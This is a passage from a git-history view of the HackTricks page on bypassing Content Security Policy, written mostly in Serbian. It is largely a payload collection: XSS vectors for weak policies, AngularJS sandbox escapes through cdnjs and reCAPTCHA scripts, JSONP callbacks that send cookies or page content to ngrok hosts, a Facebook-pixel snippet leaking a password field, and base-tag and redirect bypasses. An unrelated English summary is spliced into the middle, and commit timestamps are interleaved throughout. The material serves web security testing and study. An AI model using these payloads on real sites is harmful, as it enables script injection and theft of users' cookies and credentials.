hacktricks/pentesting-web/content-security-policy-csp-bypass/README.md

830 lines
49 KiB
Markdown
Raw Normal View History

# Bajpasovanje politike bezbednosti sadržaja (CSP)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-02 18:28:27 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 13:11:20 +00:00
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
</details>
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
2023-02-27 09:28:45 +00:00
2024-02-10 13:11:20 +00:00
**Uvidi u hakovanje**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
2023-07-14 15:03:41 +00:00
2024-02-10 13:11:20 +00:00
**Vesti o hakovanju u realnom vremenu**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
2023-07-14 15:03:41 +00:00
**Poslednje najave**\
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
2024-02-10 13:11:20 +00:00
## Šta je CSP
Politika bezbednosti sadržaja (CSP) je prepoznata kao tehnologija pregledača, pre svega namenjena **zaštiti od napada poput skriptovanja preko različitih sajtova (XSS)**. Funkcioniše tako što definiše i detaljno opisuje putanje i izvore sa kojih pregledač može bezbedno učitati resurse. Ovi resursi obuhvataju različite elemente kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa istog domena (self), uključujući i inline resurse i izvršavanje koda u obliku stringa kroz funkcije poput `eval`, `setTimeout` ili `setInterval`.
2021-04-23 10:43:58 +00:00
Implementacija CSP-a se vrši putem **zaglavlja odgovora** ili uključivanjem **meta elemenata u HTML stranicu**. Prema ovoj politici, pregledači proaktivno sprovode ove odredbe i odmah blokiraju svako otkriveno kršenje.
2021-04-23 10:43:58 +00:00
* Implementirano putem zaglavlja odgovora:
2024-02-05 20:00:40 +00:00
```
2021-04-23 10:43:58 +00:00
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
* Implementirano putem meta oznake:
2024-02-05 20:00:40 +00:00
```xml
2021-04-23 10:43:58 +00:00
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
2024-02-10 13:11:20 +00:00
### Zaglavlja
CSP može biti sproveden ili praćen korišćenjem ovih zaglavlja:
* `Content-Security-Policy`: Sprovodi CSP; pregledač blokira svako kršenje.
* `Content-Security-Policy-Report-Only`: Koristi se za praćenje; prijavljuje kršenja bez blokiranja. Idealno za testiranje u pre-produkcionim okruženjima.
2021-04-23 10:43:58 +00:00
### Definisanje Resursa
2024-02-05 20:00:40 +00:00
CSP ograničava poreklo za učitavanje kako aktivnog tako i pasivnog sadržaja, kontrolišući aspekte poput izvršavanja inline JavaScript-a i korišćenja `eval()`. Primer politike je:
2024-02-05 20:00:40 +00:00
```bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
2022-12-03 17:35:56 +00:00
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
2024-02-10 13:11:20 +00:00
### Direktive
* **script-src**: Dozvoljava određene izvore za JavaScript, uključujući URL-ove, inline skripte i skripte pokrenute putem događaja ili XSLT stilova.
2024-02-10 13:11:20 +00:00
* **default-src**: Postavlja podrazumevanu politiku za preuzimanje resursa kada određene direktive za preuzimanje nisu prisutne.
* **child-src**: Specificira dozvoljene resurse za web radnike i ugrađene sadržaje okvira.
2024-02-10 13:11:20 +00:00
* **connect-src**: Ograničava URL-ove koji se mogu učitati koristeći interfejse poput fetch, WebSocket, XMLHttpRequest.
* **frame-src**: Ograničava URL-ove za okvire.
* **frame-ancestors**: Specificira koje izvore mogu ugraditi trenutnu stranicu, primenjivo na elemente poput `<frame>`, `<iframe>`, `<object>`, `<embed>`, i `<applet>`.
2024-02-10 13:11:20 +00:00
* **img-src**: Definiše dozvoljene izvore za slike.
* **font-src**: Specificira validne izvore za fontove učitane koristeći `@font-face`.
* **manifest-src**: Definiše dozvoljene izvore fajlova manifesta aplikacije.
2024-02-10 13:11:20 +00:00
* **media-src**: Definiše dozvoljene izvore za učitavanje medijskih objekata.
* **object-src**: Definiše dozvoljene izvore za elemente `<object>`, `<embed>`, i `<applet>`.
* **base-uri**: Specificira dozvoljene URL-ove za učitavanje koristeći elemente `<base>`.
* **form-action**: Navodi validne endpointe za podnošenje formi.
2024-02-10 13:11:20 +00:00
* **plugin-types**: Ograničava mime tipove koje stranica može pozvati.
* **upgrade-insecure-requests**: Naređuje pretraživačima da prepišu HTTP URL-ove u HTTPS.
* **sandbox**: Primenjuje ograničenja slična atributu sandbox za `<iframe>`.
* **report-to**: Specificira grupu kojoj će izveštaj biti poslat ako je politika prekršena.
* **worker-src**: Specificira validne izvore za Worker, SharedWorker, ili ServiceWorker skripte.
* **prefetch-src**: Specificira validne izvore za resurse koji će biti preuzeti ili predpreuzeti.
* **navigate-to**: Ograničava URL-ove na koje dokument može navigirati na bilo koji način (a, forma, window.location, window.open, itd.)
2024-02-10 13:11:20 +00:00
### Izvori
* `*`: Dozvoljava sve URL-ove osim onih sa šemama `data:`, `blob:`, `filesystem:`.
* `'self'`: Dozvoljava učitavanje sa istog domena.
* `'data'`: Dozvoljava resurse da se učitavaju putem data šeme (npr. Base64 enkodirane slike).
2024-02-10 13:11:20 +00:00
* `'none'`: Blokira učitavanje sa bilo kog izvora.
* `'unsafe-eval'`: Dozvoljava korišćenje `eval()` i sličnih metoda, nije preporučljivo iz sigurnosnih razloga.
* `'unsafe-hashes'`: Omogućava specifične inline event handlere.
* `'unsafe-inline'`: Dozvoljava korišćenje inline resursa poput inline `<script>` ili `<style>`, nije preporučljivo iz sigurnosnih razloga.
* `'nonce'`: Bela lista za specifične inline skripte korišćenjem kriptografskog nonce-a (broj korišćen jednom).
* Ako imate ograničeno izvršavanje JS-a, moguće je dobiti korišćeni nonce unutar stranice sa `doc.defaultView.top.document.querySelector("[nonce]")` i zatim ga ponovo koristiti za učitavanje zlonamerne skripte (ako je korišćen strict-dynamic, bilo koji dozvoljeni izvor može učitati nove izvore pa ovo nije potrebno), kao u:
<details>
<summary>Učitavanje skripte ponovnim korišćenjem nonce-a</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
</details>
* `'sha256-<hash>'`: Whitelists scripts with a specific sha256 hash.
* `'strict-dynamic'`: Allows loading scripts from any source if it has been whitelisted by a nonce or hash.
* `'host'`: Specifies a specific host, like `example.com`.
* `https:`: Restricts URLs to those that use HTTPS.
* `blob:`: Allows resources to be loaded from Blob URLs (e.g., Blob URLs created via JavaScript).
* `filesystem:`: Allows resources to be loaded from the filesystem.
* `'report-sample'`: Includes a sample of the violating code in the violation report (useful for debugging).
* `'strict-origin'`: Similar to 'self' but ensures the protocol security level of the sources matches the document (only secure origins can load resources from secure origins).
* `'strict-origin-when-cross-origin'`: Sends full URLs when making same-origin requests but only sends the origin when the request is cross-origin.
* `'unsafe-allow-redirects'`: Allows resources to be loaded that will immediately redirect to another resource. Not recommended as it weakens security.
2024-02-10 13:11:20 +00:00
## Nekorektna pravila CSP
2022-06-23 12:52:13 +00:00
### 'unsafe-inline'
2021-04-23 10:43:58 +00:00
```yaml
2024-02-10 13:11:20 +00:00
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
2024-02-10 13:11:20 +00:00
Radni payload: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' putem Iframe-ova
2022-04-19 22:38:50 +00:00
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
{% endcontent-ref %}
2022-06-23 12:52:13 +00:00
### 'unsafe-eval'
2021-04-23 10:43:58 +00:00
```yaml
2024-02-10 13:11:20 +00:00
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Radni payload:
2022-12-03 17:35:56 +00:00
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
2023-02-20 09:58:12 +00:00
### strict-dynamic
Ako na neki način možete da naterate **dozvoljeni JS kod da kreira novi tag skripte** u DOM-u sa vašim JS kodom, jer dozvoljeni skript kreira to, **novi tag skripte će biti dozvoljen za izvršavanje**.
2023-02-20 09:58:12 +00:00
### Wildcard (\*)
2021-04-23 10:43:58 +00:00
```yaml
2024-02-10 13:11:20 +00:00
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Radni payload:
2021-04-23 10:43:58 +00:00
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
2024-02-10 13:11:20 +00:00
### Nedostatak object-src i default-src
2022-09-04 09:37:14 +00:00
{% hint style="danger" %}
2024-02-10 13:11:20 +00:00
**Izgleda da ovo više ne funkcioniše**
2022-09-04 09:37:14 +00:00
{% endhint %}
2021-04-23 10:43:58 +00:00
```yaml
Content-Security-Policy: script-src 'self' ;
```
Radni payloadi:
2021-04-23 10:43:58 +00:00
```markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
2022-10-28 09:19:40 +00:00
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
2021-04-23 10:43:58 +00:00
<param name="AllowScriptAccess" value="always"></object>
```
### Postavljanje datoteka + 'self'
2024-02-10 13:11:20 +00:00
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Ako možete da otpremite JS fajl, možete zaobići ovaj CSP:
2021-04-23 10:43:58 +00:00
Radna payload:
2021-04-23 10:43:58 +00:00
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Međutim, veoma je verovatno da server **validira** otpremljeni fajl i dozvoljava samo da se **otpreme određeni tipovi fajlova**.
Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** fajla koristeći ekstenziju koju server prihvata (kao što je: _script.png_), to neće biti dovoljno jer neki serveri poput apache servera **biraju MIME tip fajla na osnovu ekstenzije** i pregledači poput Chrome-a će **odbaciti izvršavanje Javascript** koda unutar nečega što bi trebalo da bude slika. "Na sreću", postoje greške. Na primer, iz jednog CTF-a sam naučio da **Apache ne prepoznaje** ekstenziju _**.wave**_, stoga je ne servira sa **MIME tipom kao audio/\***.
Odavde, ako pronađete XSS i otpremanje fajla, i uspete da pronađete **pogrešno protumačenu ekstenziju**, možete pokušati da otpremite fajl sa tom ekstenzijom i sadržajem skripte. Ili, ako server proverava ispravan format otpremljenog fajla, kreirajte poliglot ([neki primeri poliglota ovde](https://github.com/Polydet/polyglot-database)).
### Treće strane Endpoints + ('unsafe-eval')
2022-12-03 17:35:56 +00:00
{% hint style="warning" %}
Za neke od sledećih payloada **`unsafe-eval` nije čak ni potreban**.
2022-12-03 17:35:56 +00:00
{% endhint %}
2021-04-23 10:43:58 +00:00
```yaml
2024-02-10 13:11:20 +00:00
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
2021-04-23 10:43:58 +00:00
```
Učitajte ranjivu verziju angulara i izvršite proizvoljni JS:
2024-02-05 20:00:40 +00:00
```xml
2021-04-23 10:43:58 +00:00
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
2023-01-02 20:17:43 +00:00
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
2023-01-04 12:21:48 +00:00
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
2024-02-10 13:11:20 +00:00
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
2023-01-04 12:21:48 +00:00
>
```
#### Payloadi koji koriste Angular + biblioteku sa funkcijama koje vraćaju `window` objekat ([proverite ovaj post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
2023-01-02 20:17:43 +00:00
{% hint style="info" %}
Post pokazuje da biste mogli **učitati** sve **biblioteke** sa `cdn.cloudflare.com` (ili bilo kojeg drugog dozvoljenog repozitorijuma JS biblioteka), izvršiti sve dodate funkcije iz svake biblioteke, i proveriti **koje funkcije iz kojih biblioteka vraćaju `window` objekat**.
2023-01-02 20:17:43 +00:00
{% endhint %}
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
2023-01-02 20:17:43 +00:00
<div ng-app ng-csp>
2024-02-10 13:11:20 +00:00
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
2023-01-02 20:17:43 +00:00
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
2024-02-10 13:11:20 +00:00
{{$on.curry.call().alert('xss')}}
2023-01-02 20:17:43 +00:00
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
2024-02-10 13:11:20 +00:00
{{[].erase.call().alert('xss')}}
2023-01-02 20:17:43 +00:00
</div>
```
### Angular XSS iz naziva klase:
---
### Angular XSS iz naziva klase:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
2024-02-10 13:11:20 +00:00
#### Zloupotreba google recaptcha JS koda
Prema [**ovom CTF writeup-u**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) možete zloupotrebiti [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) unutar CSP-a da biste izvršili proizvoljan JS kod zaobići CSP:
```html
<div
2024-02-10 13:11:20 +00:00
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Više [**payloada iz ovog članka**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
2024-02-10 13:11:20 +00:00
```html
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
2024-02-10 13:11:20 +00:00
<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
### Spoljni endpointovi + JSONP
2024-02-10 13:11:20 +00:00
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Scenariji poput ovog gde je `script-src` postavljen na `self` i određeni domen koji je dodat na belu listu mogu biti zaobiđeni korišćenjem JSONP-a. JSONP endpointi dozvoljavaju nesigurne povratne metode koje omogućavaju napadaču da izvrši XSS, radno opterećenje:
2021-04-23 10:43:58 +00:00
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```
2023-03-05 18:12:38 +00:00
```html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **sadrži spremne JSONP endpointove za CSP zaobilaženje različitih veb lokacija.**
2023-03-05 18:12:38 +00:00
2024-02-10 13:11:20 +00:00
Ista ranjivost će se pojaviti ako **pouzdani endpoint sadrži otvoreno preusmeravanje** jer ako je početni endpoint pouzdan, preusmeravanja su pouzdana.
2024-02-10 13:11:20 +00:00
### Zloupotrebe trećih strana
2023-10-23 14:43:34 +00:00
Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), postoji mnogo domena trećih strana koji su možda dozvoljeni negde u CSP-u, a mogu se zloupotrebiti kako bi se ili eksfiltrirali podaci ili izvršio JavaScript kod. Neke od ovih trećih strana su:
| Entitet | Dozvoljeni domen | Mogućnosti |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Eksfiltracija |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Eksfiltracija |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Izvršenje |
| Amazon CloudFront | \*.cloudfront.net | Eksfiltracija, Izvršenje |
| Amazon AWS | \*.amazonaws.com | Eksfiltracija, Izvršenje |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Eksfiltracija, Izvršenje |
| Salesforce Heroku | \*.herokuapp.com | Eksfiltracija, Izvršenje |
| Google Firebase | \*.firebaseapp.com | Eksfiltracija, Izvršenje |
2023-10-23 14:43:34 +00:00
Ako pronađete neki od dozvoljenih domena u CSP-u vašeg cilja, postoji mogućnost da možete zaobići CSP registracijom na uslugu treće strane i, ili eksfiltrirati podatke na tu uslugu ili izvršiti kod.
2023-10-23 14:43:34 +00:00
2024-02-10 13:11:20 +00:00
Na primer, ako pronađete sledeći CSP:
2023-10-23 14:43:34 +00:00
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
## Bypassing Content Security Policy (CSP)
---
### Introduction
In this section, we will discuss various techniques to bypass Content Security Policy (CSP) implemented on a web application.
### What is Content Security Policy (CSP)?
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. CSP is implemented by using an HTTP header that allows website owners to control the resources that a browser is allowed to load for a specific page.
### Bypassing CSP using `unsafe-inline`
One common way to bypass CSP is by using the `unsafe-inline` keyword in the `script-src` directive. This allows the execution of inline JavaScript code, which is normally blocked by CSP to prevent XSS attacks.
### Bypassing CSP using `unsafe-eval`
Another way to bypass CSP is by using the `unsafe-eval` keyword in the `script-src` directive. This allows the execution of code generated from strings, which is blocked by CSP to prevent injection attacks.
### Bypassing CSP using Data URI
CSP can also be bypassed by using Data URI to embed external resources directly into the HTML document. By using Data URI, an attacker can load external scripts or stylesheets without triggering CSP violations.
### Conclusion
Content Security Policy (CSP) is a powerful security feature that can help protect web applications from various types of attacks. However, it is important for developers to understand how CSP works and be aware of common bypass techniques in order to effectively secure their web applications against potential threats.
2023-10-23 14:43:34 +00:00
```
Content-Security-Policy: connect-src www.facebook.com;
```
Treba da možete da eksfiltrirate podatke, slično kao što je to uvek rađeno sa [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). U ovom slučaju, pratite ove opšte korake:
2023-10-23 14:43:34 +00:00
2024-02-10 13:11:20 +00:00
1. Kreirajte Facebook Developer nalog ovde.
2. Napravite novu "Facebook Login" aplikaciju i izaberite "Website".
3. Idite na "Settings -> Basic" i dobijte svoj "App ID".
4. Na ciljnom sajtu sa kog želite da eksfiltrirate podatke, možete to uraditi direktno koristeći Facebook SDK uređaj "fbq" putem "customEvent" i podatkovnog toka.
5. Idite na svoju aplikaciju "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: menadžer događaja može se pronaći na URL-u sličnom ovom: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Izaberite karticu "Test Events" da biste videli događaje koje šalje "vaš" veb sajt.
2023-10-23 14:43:34 +00:00
Zatim, na strani žrtve, izvršite sledeći kod da biste inicijalizovali Facebook praćenje piksela da pokazuje ka aplikaciji napadačevog Facebook developer naloga i izdajte prilagođeni događaj ovako:
2023-10-23 14:43:34 +00:00
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
2023-10-23 14:43:34 +00:00
fbq('trackCustom', 'My-Custom-Event',{
2024-02-10 13:11:20 +00:00
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
2023-10-23 14:43:34 +00:00
});
```
2024-02-10 13:11:20 +00:00
### Bypass putem RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
2023-10-23 14:43:34 +00:00
Pored pomenutog preusmeravanja za zaobilaženje ograničenja putanje, postoji još jedna tehnika nazvana Relative Path Overwrite (RPO) koja se može koristiti na nekim serverima.
2024-02-10 13:11:20 +00:00
Na primer, ako CSP dozvoljava putanju `https://example.com/scripts/react/`, može se zaobići na sledeći način:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Browser će konačno učitati `https://example.com/scripts/angular/angular.js`.
Ovo funkcioniše jer za preglednik, učitavate datoteku nazvanu `..%2fangular%2fangular.js` smeštenu pod `https://example.com/scripts/react/`, što je u skladu sa CSP.
Zato će je dekodirati, efektivno zahtevajući `https://example.com/scripts/react/../angular/angular.js`, što je ekvivalentno `https://example.com/scripts/angular/angular.js`.
**Iskorišćavanjem ove neusaglašenosti u interpretaciji URL-a između preglednika i servera, pravila putanje mogu biti zaobiđena**.
Rešenje je ne tretirati `%2f` kao `/` na serverskoj strani, osiguravajući doslednu interpretaciju između preglednika i servera kako bi se izbegao ovaj problem.
Online Primer:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Izvršavanje JS koda putem iframes
2022-04-19 22:38:50 +00:00
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
2021-10-20 00:55:49 +00:00
{% endcontent-ref %}
### nedostaje **base-uri**
2022-03-21 17:05:35 +00:00
Ako nedostaje direktiva **base-uri** možete je zloupotrebiti da izvršite [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).
2022-03-21 17:05:35 +00:00
Osim toga, ako se **stranica učitava skriptom koristeći relativnu putanju** (kao što je `<script src="/js/app.js">`) koristeći **Nonce**, možete zloupotrebiti **base** **tag** da naterate da se skripta **učita** sa **vašeg servera postižući XSS.**\
Ako je ranjiva stranica učitana sa **httpS**, koristite httpS URL u base.
2022-03-21 17:05:35 +00:00
```html
<base href="https://www.attacker.com/">
```
2024-02-10 13:11:20 +00:00
### AngularJS događaji
2022-03-21 17:05:35 +00:00
Specifična politika poznata kao Politika bezbednosti sadržaja (CSP) može ograničiti JavaScript događaje. Međutim, AngularJS uvodi prilagođene događaje kao alternativu. U okviru događaja, AngularJS pruža jedinstveni objekat `$event`, koji se odnosi na nativni objekat događaja pregledača. Ovaj objekat `$event` može biti iskorišćen kako bi se zaobišao CSP. Posebno, u Chrome-u, objekat `$event/event` poseduje atribut `path`, koji sadrži niz objekata povezanih sa lancem izvršenja događaja, pri čemu je objekat `window` uvek pozicioniran na kraju. Ova struktura je ključna za taktike za izbegavanje peska.
2024-02-05 20:00:40 +00:00
Usmeravanjem ovog niza ka filteru `orderBy`, moguće je iterirati preko njega, koristeći terminalni element (objekat `window`) kako bi se pokrenula globalna funkcija poput `alert()`. Demonstrirani odlomak koda ispod objašnjava ovaj proces:
2024-02-05 20:00:40 +00:00
```xml
2021-11-14 19:46:18 +00:00
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Ovaj odlomak ističe upotrebu `ng-focus` direktive za pokretanje događaja, korišćenje `$event.path|orderBy` za manipulaciju `path` niza, i iskorišćavanje `window` objekta za izvršavanje `alert()` funkcije, čime se otkriva `document.cookie`.
**Pronađite druge Angular obilaske u** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS i belačena domena
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
### Bypassing CSP by Invoking Callback Functions and Vulnerable Classes
CSP politika koja beleži domene za učitavanje skripti u Angular JS aplikaciji može biti zaobiđena pozivom povratnih funkcija i određenih ranjivih klasa. Dodatne informacije o ovoj tehnici mogu se pronaći u detaljnom vodiču dostupnom na ovom [git repozitorijumu](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
Radni payload-ovi:
2022-08-12 14:24:34 +00:00
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
2022-12-03 17:35:56 +00:00
<!-- no longer working -->
2022-08-12 14:24:34 +00:00
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
### Bypass putem Preusmeravanja
Šta se dešava kada CSP naiđe na preusmeravanje na serverskoj strani? Ako preusmeravanje vodi ka drugom poreklu koje nije dozvoljeno, i dalje će ne uspeti.
Međutim, prema opisu u [CSP specifikaciji 4.2.2.3. Putanje i Preusmeravanja](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ako preusmeravanje vodi ka drugoj putanji, može zaobići originalna ograničenja.
2024-02-10 13:11:20 +00:00
Evo primera:
```html
<!DOCTYPE html>
<html>
<head>
2024-02-10 13:11:20 +00:00
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
2024-02-10 13:11:20 +00:00
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
```
2024-02-10 13:11:20 +00:00
Ako je CSP postavljen na `https://www.google.com/a/b/c/d`, s obzirom da se putanja uzima u obzir, i skripte `/test` i `/a/test` će biti blokirane od strane CSP.
Međutim, konačni `http://localhost:5555/301` će biti **preusmeren na serverskoj strani na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Budući da je u pitanju preusmerenje, **putanja se ne uzima u obzir**, i **skripta može biti učitana**, čime se zaobilazi ograničenje putanje.
Sa ovim preusmerenjem, čak i ako je putanja potpuno navedena, i dalje će biti zaobiđena.
